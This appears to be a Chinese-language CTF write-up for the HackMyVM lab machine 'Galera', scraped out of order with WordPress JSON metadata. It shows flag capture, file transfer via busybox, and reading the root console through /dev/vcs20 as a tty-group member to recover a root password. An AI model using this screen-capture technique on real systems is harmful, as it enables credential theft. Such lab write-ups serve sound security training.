May 8 00:04 donjuandeaustria.png\n-rw------- 1 donjuandeaustria donjuandeaustria 20 May 8 00:12 .lesshst\n-rw-r--r-- 1 donjuandeaustria donjuandeaustria 807 May 4 19:17 .profile\n-rw-r----- 1 root donjuandeaustria 33 May 7 21:20 user.txt\ndonjuandeaustria@galera:~$ cat user.txt \n072f9d8c26547db59e65d7aa3e55747b\ndonjuandeaustria@galera:~$ cat \/etc\/group | grep tty\ntty:x:5:donjuandeaustria<\/code><\/pre>\n\u540c\u7ec4\u6709\u76f8\u5173\u6743\u9650\uff0c\u5c1d\u8bd5\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u4f46\u662f\u53d1\u73b0\u5f88\u591a\u5de5\u5177\u90fd\u6ca1\u6709\uff1a<\/p>\n
donjuandeaustria@galera:~$ python3 -m http.server 8888\n-bash: python3: command not found\ndonjuandeaustria@galera:~$ python -m http.server 8888\n-bash: python: command not found\ndonjuandeaustria@galera:~$ whereis python\npython:\ndonjuandeaustria@galera:~$ whereis nc\nnc:\ndonjuandeaustria@galera:~$ whereis busybox\nbusybox: \/usr\/bin\/busybox \/usr\/share\/man\/man1\/busybox.1.gz<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u4f20\u8f93\u6587\u4ef6\uff1a<\/p>\n
# attacked \ndonjuandeaustria@galera:~$ busybox httpd -f -p 1234 -h . < donjuandeaustria.png<\/code><\/pre>\n# kali\nwget http:\/\/192.168.10.101:1234\/donjuandeaustria.png -O donjuandeaustria.png<\/code><\/pre>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ exiftool donjuandeaustria.png \nExifTool Version Number : 13.25\nFile Name : donjuandeaustria.png\nDirectory : .\nFile Size : 2.1 MB\nFile Modification Date\/Time : 2025:05:08 00:04:51-04:00\nFile Access Date\/Time : 2025:06:19 10:59:48-04:00\nFile Inode Change Date\/Time : 2025:06:19 10:59:48-04:00\nFile Permissions : -rw-rw-r--\nFile Type : PNG\nFile Type Extension : png\nMIME Type : image\/png\nImage Width : 1024\nImage Height : 1024\nBit Depth : 8\nColor Type : RGB\nCompression : Deflate\/Inflate\nFilter : Adaptive\nInterlace : Noninterlaced\nJUMD Type : (c2pa)-0011-0010-800000aa00389b71\nJUMD Label : c2pa\nActions Action : c2pa.created, c2pa.converted\nActions Software Agent Name : GPT-4o, OpenAI API\nActions Digital Source Type : http:\/\/cv.iptc.org\/newscodes\/digitalsourcetype\/trainedAlgorithmicMedia\nExclusions Start : 33\nExclusions Length : 14149\nName : jumbf manifest\nAlg : sha256\nHash : (Binary data 32 bytes, use -b option to extract)\nPad : (Binary data 8 bytes, use -b option to extract)\nInstance ID : xmp:iid:c8e9e301-7cbe-4107-b753-4a1d1aa53bbc\nClaim Generator Info Name : ChatGPT\nClaim Generator Info Org Cai C2 Pa Rs: 0.49.5\nSignature : self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature\nCreated Assertions Url : self#jumbf=c2pa.assertions\/c2pa.actions.v2, self#jumbf=c2pa.assertions\/c2pa.hash.data\nCreated Assertions Hash : (Binary data 32 bytes, use -b option to extract), (Binary data 32 bytes, use -b option to extract)\nItem 0 : (Binary data 1985 bytes, use -b option to extract)\nItem 1 Pad : (Binary data 10932 bytes, use -b option to extract)\nItem 2 : null\nItem 3 : (Binary data 64 bytes, use -b option to extract)\nC2PA Thumbnail Ingredient Jpeg Type: image\/jpeg\nC2PA Thumbnail Ingredient Jpeg Data: (Binary data 48333 bytes, use -b option to extract)\nRelationship : componentOf\nFormat : png\nValidation Results Active Manifest Success Code: claimSignature.insideValidity, claimSignature.validated, assertion.hashedURI.match, assertion.hashedURI.match, assertion.dataHash.match\nValidation Results Active Manifest Success Url: self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.assertions\/c2pa.actions.v2, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.assertions\/c2pa.hash.data, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.assertions\/c2pa.hash.data\nValidation Results Active Manifest Success Explanation: claim signature valid, claim signature valid, hashed uri matched: self#jumbf=c2pa.assertions\/c2pa.actions.v2, hashed uri matched: self#jumbf=c2pa.assertions\/c2pa.hash.data, data hash valid\nActive Manifest Url : self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\nActive Manifest Alg : sha256\nActive Manifest Hash : (Binary data 32 bytes, use -b option to extract)\nClaim Signature Url : self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature\nClaim Signature Alg : sha256\nClaim Signature Hash : (Binary data 32 bytes, use -b option to extract)\nThumbnail URL : self#jumbf=c2pa.assertions\/c2pa.thumbnail.ingredient.jpeg\nThumbnail Hash : (Binary data 32 bytes, use -b option to extract)\nArtist : \nAuthor : \nCollection : \nComment : \nCopyright : \nDescription : \nDisclaimer : \nDocument : \nLabel : \nMake : \nModel : \nSoftware : \nSource : \nTime Stamp : \nTitle : \nURL : \nPNG Warning : \nPixels Per Unit X : 2834\nPixels Per Unit Y : 2834\nPixel Units : meters\nImage Size : 1024x1024\nMegapixels : 1.0<\/code><\/pre>\n\u8fd9\u4e2a\u6587\u4ef6\u6709\u70b9\u5927\u54e6\u3002\u3002\u3002\u3002\u3002\u7785\u7785\u662f\u4e2a\u5565\uff0c\u4e07\u4e00\u628a\u5bc6\u7801\u653e\u4e0a\u9762\u4e86\u5462\uff01\uff01\uff01\uff01<\/p>\n
<\/div><\/p>\n\u8fd9\u662f\u5728\u641e\u4ec0\u4e48\uff0c\u96be\u9053\u662f\u5565\u540d\u4f5c\uff1f\u5c1d\u8bd5 google \u4e00\u4e0b\uff0c\u53d1\u73b0\u597d\u50cf\u662f AI \u751f\u6210\u7684\u3002\u3002\u3002\u3002\u53ef\u80fd\u53ea\u662f\u4e00\u4e2a\u5154\u5b50\u6d1e\uff0c\u5c1d\u8bd5steg -a<\/code>\u4e86\uff0c\u4f46\u662f\u5f88\u591a\u5947\u602a\u5b57\u7b26\u4e5f\u4e0d\u77e5\u9053\u6709\u5565\u7528\u3002\u3002\u3002<\/p>\n\u6355\u83b7tty20\u5c4f\u5e55\u5feb\u7167vcs20<\/h3>\ndonjuandeaustria@galera:~$ tty\n\/dev\/pts\/0\ndonjuandeaustria@galera:~$ who\nroot tty20 2025-06-19 04:06\ndonjuandeaustria pts\/0 2025-06-19 05:13 (192.168.10.107)<\/code><\/pre>\n\u53d1\u73b0\u6709\u4fe9\u7ec8\u7aef\uff0c\u5176\u4e2d\u6709\u4e00\u4e2a\u8fd8\u662f root \uff0c\u5c1d\u8bd5\u6355\u6349\u4e00\u4e0b\u6709\u4e9b\u5565\uff1a<\/p>\n
donjuandeaustria@galera:~$ cat \/dev\/tty20\ncat: \/dev\/tty20: Permission denied<\/code><\/pre>\n\n\n\n\u8bbe\u5907<\/strong><\/th>\n\u7528\u9014<\/strong><\/th>\n\u6570\u636e\u5f62\u5f0f<\/strong><\/th>\n<\/tr>\n<\/thead>\n\n\n\/dev\/tty20<\/code><\/td>\n\u7ec8\u7aef\u4ea4\u4e92\uff1a\u8f93\u5165\u547d\u4ee4\u3001\u63a5\u6536\u5b9e\u65f6\u8f93\u51fa\uff08\u5982 echo "test" > \/dev\/tty20<\/code>\uff09<\/td>\n\u539f\u59cb\u8f93\u5165\u8f93\u51fa\u6d41<\/td>\n<\/tr>\n \n\/dev\/vcs20<\/code><\/td>\n\u622a\u53d6\u5c4f\u5e55\u5feb\u7167\uff1a\u8bfb\u53d6\u7ec8\u7aef\u5f53\u524d\u663e\u793a\u7684\u9759\u6001\u6587\u672c\uff08\u5982 sudo cat \/dev\/vcs20<\/code>\uff09<\/td>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u7136\u540e\u5c1d\u8bd5\u770b\u4e00\u4e0b\uff1a<\/p>\n
donjuandeaustria@galera:~$ cat \/dev\/vcs20 | busybox hexdump -C \n00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000000a0 20 20 20 5f 5f 5f 5f 20 20 20 5f 5f 5f 5f 20 20 | ____ ____ |\n000000b0 5f 20 20 20 20 20 20 20 20 5f 5f 5f 20 20 5f 5f |_ ___ __|\n000000c0 5f 5f 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 |__ ____ |\n000000d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000140 20 20 2f 20 20 20 20 7c 20 2f 20 20 20 20 7c 7c | \/ | \/ |||\n00000150 20 7c 20 20 20 20 20 20 2f 20 20 5f 5d 7c 20 20 | | \/ _]| |\n00000160 20 20 5c 20 20 2f 20 20 20 20 7c 20 20 20 20 20 | \\ \/ | |\n00000170 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000001e0 20 7c 20 20 20 5f 5f 7c 7c 20 20 6f 20 20 7c 7c | | __|| o |||\n000001f0 20 7c 20 20 20 20 20 2f 20 20 5b 5f 20 7c 20 20 | | \/ [_ | |\n00000200 44 20 20 29 7c 20 20 6f 20 20 7c 20 20 20 20 20 |D )| o | |\n00000210 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000280 20 7c 20 20 7c 20 20 7c 7c 20 20 20 20 20 7c 7c | | | || |||\n00000290 20 7c 5f 5f 5f 20 7c 20 20 20 20 5f 5d 7c 20 20 | |___ | _]| |\n000002a0 20 20 2f 20 7c 20 20 20 20 20 7c 20 20 20 20 20 | \/ | | |\n000002b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000320 20 7c 20 20 7c 5f 20 7c 7c 20 20 5f 20 20 7c 7c | | |_ || _ |||\n00000330 20 20 20 20 20 7c 7c 20 20 20 5b 5f 20 7c 20 20 | || [_ | |\n00000340 20 20 5c 20 7c 20 20 5f 20 20 7c 20 20 20 20 20 | \\ | _ | |\n00000350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000003c0 20 7c 20 20 20 20 20 7c 7c 20 20 7c 20 20 7c 7c | | || | |||\n000003d0 20 20 20 20 20 7c 7c 20 20 20 20 20 7c 7c 20 20 | || || |\n000003e0 2e 20 20 5c 7c 20 20 7c 20 20 7c 20 20 20 20 20 |. \\| | | |\n000003f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000460 20 7c 5f 5f 5f 2c 5f 7c 7c 5f 5f 7c 5f 5f 7c 7c | |___,_||__|__|||\n00000470 5f 5f 5f 5f 5f 7c 7c 5f 5f 5f 5f 5f 7c 7c 5f 5f |_____||_____||__|\n00000480 7c 5c 5f 7c 7c 5f 5f 7c 5f 5f 7c 20 20 20 20 20 ||\\_||__|__| |\n00000490 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000005b0 20 20 20 20 20 20 20 20 20 20 20 7c 7e 20 20 20 | |~ |\n000005c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000650 20 20 20 20 20 7c 2f 20 20 20 20 77 20 20 20 20 | |\/ w |\n00000660 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000006f0 20 20 20 20 2f 20 28 20 20 20 28 7c 20 20 20 5c | \/ ( (| \\|\n00000700 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000790 20 20 20 2f 28 20 28 2f 20 20 20 7c 29 20 20 7c | \/( (\/ |) ||\n000007a0 5c 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |\\ |\n000007b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000820 20 20 20 20 20 20 20 20 20 20 20 20 5f 5f 5f 5f | ____|\n00000830 20 20 28 20 28 2f 20 20 20 20 28 7c 20 20 20 7c | ( (\/ (| ||\n00000840 20 29 20 20 2c 20 20 20 20 20 20 20 20 20 20 20 | ) , |\n00000850 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000008c0 20 20 20 20 20 20 20 20 20 20 20 7c 2d 2d 2d 2d | |----|\n000008d0 5c 20 28 2f 20 7c 20 20 20 20 2f 7c 20 20 20 7c |\\ (\/ | \/| ||\n000008e0 27 5c 20 2f 5e 3b 20 20 20 20 20 20 20 20 20 20 |'\\ \/^; |\n000008f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000960 20 20 20 20 20 20 20 20 20 20 5c 2d 2d 2d 2a 2d | \\---*-|\n00000970 2d 2d 59 2d 2d 2b 2d 2d 2d 2d 2d 2b 2d 2d 2d 2b |--Y--+-----+---+|\n00000980 2d 2d 2f 28 20 20 20 20 20 20 20 20 20 20 20 20 |--\/( |\n00000990 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000a00 20 20 20 20 20 20 20 20 20 20 20 5c 2d 2d 2d 2d | \\----|\n00000a10 2d 2d 2a 2d 2d 2d 2a 2d 2d 2a 2d 2d 2d 2a 2d 2d |--*---*--*---*--|\n00000a20 2f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |\/ |\n00000a30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000aa0 20 20 20 20 20 20 20 20 20 20 20 20 27 7e 7e 20 | '~~ |\n00000ab0 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 20 |~~~~~~~~~~~~~~~ |\n00000ac0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000be0 20 5b 2a 5d 20 4d 61 63 68 69 6e 65 3a 20 47 61 | [*] Machine: Ga|\n00000bf0 6c 65 72 61 20 20 20 20 20 20 20 20 20 20 20 20 |lera |\n00000c00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000c80 20 5b 2a 5d 20 50 6c 61 74 66 6f 72 6d 3a 20 48 | [*] Platform: H|\n00000c90 61 63 6b 4d 79 56 4d 20 20 20 20 20 20 20 20 20 |ackMyVM |\n00000ca0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000d20 20 5b 2a 5d 20 41 75 74 68 6f 72 3a 20 4c 65 6e | [*] Author: Len|\n00000d30 61 6d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |am |\n00000d40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000dc0 20 5b 2a 5d 20 49 50 3a 20 31 39 32 2e 31 36 38 | [*] IP: 192.168|\n00000dd0 2e 31 30 2e 31 30 31 20 20 20 20 20 20 20 20 20 |.10.101 |\n00000de0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000f00 67 61 6c 65 72 61 20 6c 6f 67 69 6e 3a 20 72 6f |galera login: ro|\n00000f10 6f 74 20 28 61 75 74 6f 6d 61 74 69 63 20 6c 6f |ot (automatic lo|\n00000f20 67 69 6e 29 20 20 20 20 20 20 20 20 20 20 20 20 |gin) |\n00000f30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001040 4c 69 6e 75 78 20 67 61 6c 65 72 61 20 36 2e 31 |Linux galera 6.1|\n00001050 2e 30 2d 33 34 2d 61 6d 64 36 34 20 23 31 20 53 |.0-34-amd64 #1 S|\n00001060 4d 50 20 50 52 45 45 4d 50 54 5f 44 59 4e 41 4d |MP PREEMPT_DYNAM|\n00001070 49 43 20 44 65 62 69 61 6e 20 36 2e 31 2e 31 33 |IC Debian 6.1.13|\n00001080 35 2d 31 20 28 32 30 32 35 2d 30 34 2d 32 35 29 |5-1 (2025-04-25)|\n00001090 20 78 38 36 5f 36 34 20 20 20 20 20 20 20 20 20 | x86_64 |\n000010a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001180 54 68 65 20 70 72 6f 67 72 61 6d 73 20 69 6e 63 |The programs inc|\n00001190 6c 75 64 65 64 20 77 69 74 68 20 74 68 65 20 44 |luded with the D|\n000011a0 65 62 69 61 6e 20 47 4e 55 2f 4c 69 6e 75 78 20 |ebian GNU\/Linux |\n000011b0 73 79 73 74 65 6d 20 61 72 65 20 66 72 65 65 20 |system are free |\n000011c0 73 6f 66 74 77 61 72 65 3b 20 20 20 20 20 20 20 |software; |\n000011d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001220 74 68 65 20 65 78 61 63 74 20 64 69 73 74 72 69 |the exact distri|\n00001230 62 75 74 69 6f 6e 20 74 65 72 6d 73 20 66 6f 72 |bution terms for|\n00001240 20 65 61 63 68 20 70 72 6f 67 72 61 6d 20 61 72 | each program ar|\n00001250 65 20 64 65 73 63 72 69 62 65 64 20 69 6e 20 74 |e described in t|\n00001260 68 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |he |\n00001270 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000012c0 69 6e 64 69 76 69 64 75 61 6c 20 66 69 6c 65 73 |individual files|\n000012d0 20 69 6e 20 2f 75 73 72 2f 73 68 61 72 65 2f 64 | in \/usr\/share\/d|\n000012e0 6f 63 2f 2a 2f 63 6f 70 79 72 69 67 68 74 2e 20 |oc\/*\/copyright. |\n000012f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001400 44 65 62 69 61 6e 20 47 4e 55 2f 4c 69 6e 75 78 |Debian GNU\/Linux|\n00001410 20 63 6f 6d 65 73 20 77 69 74 68 20 41 42 53 4f | comes with ABSO|\n00001420 4c 55 54 45 4c 59 20 4e 4f 20 57 41 52 52 41 4e |LUTELY NO WARRAN|\n00001430 54 59 2c 20 74 6f 20 74 68 65 20 65 78 74 65 6e |TY, to the exten|\n00001440 74 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |t |\n00001450 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000014a0 70 65 72 6d 69 74 74 65 64 20 62 79 20 61 70 70 |permitted by app|\n000014b0 6c 69 63 61 62 6c 65 20 6c 61 77 2e 20 20 20 20 |licable law. |\n000014c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001540 4c 61 73 74 20 6c 6f 67 69 6e 3a 20 54 68 75 20 |Last login: Thu |\n00001550 4a 75 6e 20 31 39 20 30 31 3a 30 37 3a 30 39 20 |Jun 19 01:07:09 |\n00001560 45 44 54 20 32 30 32 35 20 6f 6e 20 74 74 79 32 |EDT 2025 on tty2|\n00001570 30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |0 |\n00001580 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001680 20 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a | **************|\n00001690 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a |****************|\n000016a0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 20 |************** |\n000016b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001720 20 20 20 20 20 20 20 20 20 57 65 6c 63 6f 6d 65 | Welcome|\n00001730 2c 20 53 79 73 74 65 6d 20 41 64 6d 69 6e 69 73 |, System Adminis|\n00001740 74 72 61 74 6f 72 21 20 20 20 20 20 20 20 20 20 |trator! |\n00001750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000017c0 20 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a | **************|\n000017d0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a |****************|\n000017e0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 20 |************** |\n000017f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001900 20 20 52 65 6d 69 6e 64 65 72 3a 20 79 6f 75 72 | Reminder: your|\n00001910 20 72 6f 6f 74 20 70 61 73 73 77 6f 72 64 20 69 | root password i|\n00001920 73 20 27 73 61 47 35 38 7a 4a 78 73 38 63 72 67 |s 'saG58zJxs8crg|\n00001930 51 61 33 36 36 55 77 27 20 20 20 20 20 20 20 20 |Qa366Uw' |\n00001940 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001a40 72 6f 6f 74 40 67 61 6c 65 72 61 3a 7e 23 20 20 |root@galera:~# |\n00001a50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001f40<\/code><\/pre>\n\n\u53d1\u73b0\u8be5\u7ec8\u7aef\uff08tty20<\/code>\uff09\u7684\u5c3a\u5bf8\u4e3a 80\u5217 \u00d7 24\u884c<\/strong><\/p>\n\n- \u4ece\u504f\u79fb\u91cf
000000a0<\/code> \u5230 000000ef<\/code> \u6b63\u597d\u662f 80\u4e2a\u5b57\u8282<\/strong>\uff0816\u8fdb\u5236\u5730\u5740\u5dee\uff1a0xEF-0xA0=79 \u2794 80\u5b57\u8282\uff09<\/li>\n- \u603b\u884c\u6570\uff1a\u6240\u6709\u884c\u7684\u5b57\u8282\u6570\u5747\u4e3a 80\u7684\u500d\u6570<\/strong>\uff08\u7ec8\u7aef\u6bcf\u884c\u56fa\u5b9a80\u5b57\u7b26\uff09\uff0c\u4ece\u767b\u5f55\u63d0\u793a\uff08
galera login:<\/code>\uff09\u5230\u547d\u4ee4\u63d0\u793a\u7b26\uff08root@galera:~# <\/code>\uff09\u4e4b\u95f4\uff0c\u6211\u4eec\u53ef\u4ee5\u7edf\u8ba1\u51fa\u5927\u7ea6 24\u884c<\/strong><\/li>\n<\/ul>\n<\/blockquote>\n\u8ba9 AI \u6574\u7406\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n
\n ____ ____ _ ___ ________ ____ \n \/ | \/ || | \/ _]| || \/ | \n | __|| o || | \/ [_ | | | | o | \n | |_ | || |___ | _]|_| |_| | | | \n | _]| _ || || [_ | | | | _ | \n | | | | || || | | | | | | | \n |__| |__|__||_____||_____| |__| | |__|__| \n\n |~ \n |\/ w \n \/ ( (| \n \/( (\/ |) \n ____ ( (\/ (| ) , \n |----\\ (\/ | \/| '\\\/^; \n \\---*--Y--+-----+----\/( \n \\----*---*---*--*--\/ \n '~~ ~~~~~~~~~~~~~ \n[*] Machine: Galera \n[*] Platform: HackMyVM \n[*] Author: Lenam \n[*] IP: 192.168.10.101 \n\ngalera login: root (automatic login) \n\nLinux galera 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 \n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\n\nLast login: Thu Jun 19 01:07:09 EDT 2025 on tty20\n\n \u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b \n Welcome, System Administrator! \n \u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b \n\nReminder: your root password is 'saG58zJxs8crgQa366Uw' \n\nroot@galera:~# <\/code><\/pre>\n\u5f97\u5230\u4e86root\u5bc6\u7801\uff1asaG58zJxs8crgQa366Uw<\/code><\/p>\n<\/div><\/p>\n\u5173\u4e8e\u9759\u6001\u6587\u672c\u7684\u5f62\u6210\u539f\u56e0<\/h3>\n
\u53ef\u80fd\u662f\u7528\u6237\u767b\u5f55\u81ea\u52a8\u8f93\u51fa\u5230\u7ec8\u7aef\u7684\u4fe1\u606f\uff0c\u7c7b\u4f3c\u4e8e\/etc\/motd<\/code>\uff1f<\/p>\nroot@galera:~# cat .bashrc\n# ~\/.bashrc: executed by bash(1) for non-login shells.\n\n# Note: PS1 and umask are already set in \/etc\/profile. You should not\n# need this unless you want different defaults for root.\n# PS1='${debian_chroot:+($debian_chroot)}\\h:\\w\\$ '\n# umask 022\n\n# You may uncomment the following lines if you want `ls' to be colorized:\n# export LS_OPTIONS='--color=auto'\n# eval "$(dircolors)"\n# alias ls='ls $LS_OPTIONS'\n# alias ll='ls $LS_OPTIONS -l'\n# alias l='ls $LS_OPTIONS -lA'\n#\n# Some more alias to avoid making mistakes:\n# alias rm='rm -i'\n# alias cp='cp -i'\n# alias mv='mv -i'\nexport MYSQL_HISTFILE=\/dev\/null\nroot@galera:~# cat .mysql_history\n_HiStOrY_V2_\nroot@galera:~# cat .profile\n# ~\/.profile: executed by Bourne-compatible login shells.\n\nif [ "$BASH" ]; then\n if [ -f ~\/.bashrc ]; then\n . ~\/.bashrc\n fi\nfi\n\nmesg n 2> \/dev\/null || true\n\n# Comprueba que es root e interactivo\nif [ "$(id -u)" = "0" ] && [ -n "$PS1" ]; then\n # Mant\u00e9n todo lo que ya imprime el sistema (last login, motd, etc.)\n # y luego a\u00f1ade tu mensaje en ingl\u00e9s:\n echo\n echo " ********************************************"\n echo " Welcome, System Administrator!"\n echo " ********************************************"\n echo\n # Recordatorio de contrase\u00f1a:\n # Opci\u00f3n A: la pones directamente\n echo " Reminder: your root password is 'saG58zJxs8crgQa366Uw'"\n echo\nfi<\/code><\/pre>\n\u81f3\u4e8e\u4e0a\u9762\u7684\u90a3\u4e2aASCII\u827a\u672f\u5b57<\/code>\u548b\u751f\u6210\u7684\uff0c\u6682\u65f6\u6ca1\u627e\u5230\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"Galera \u4fe1\u606f\u641c\u96c6 \u76ee\u5f55\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-895","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=895"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/895\/revisions"}],"predecessor-version":[{"id":896,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/895\/revisions\/896"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=895"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nPlease contribute more quotes to our GitHub https:\/\/github.com\/rustscan\/rustscan\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.101:22\nOpen 192.168.10.101:80\nOpen 192.168.10.101:4567\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)\n| ssh-hostkey: \n| 256 28:50:32:2f:bb:ef:7e:51:c3:59:cb:e6:40:88:0e:4e (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMXjSOeBye5caqfXn\/iyv2x+3UsGpc3mXqjCesy2LF8V3IO7ce89FUeEqoqm7\/lLogTsCeztnv9liPqfJ7plMPY=\n| 256 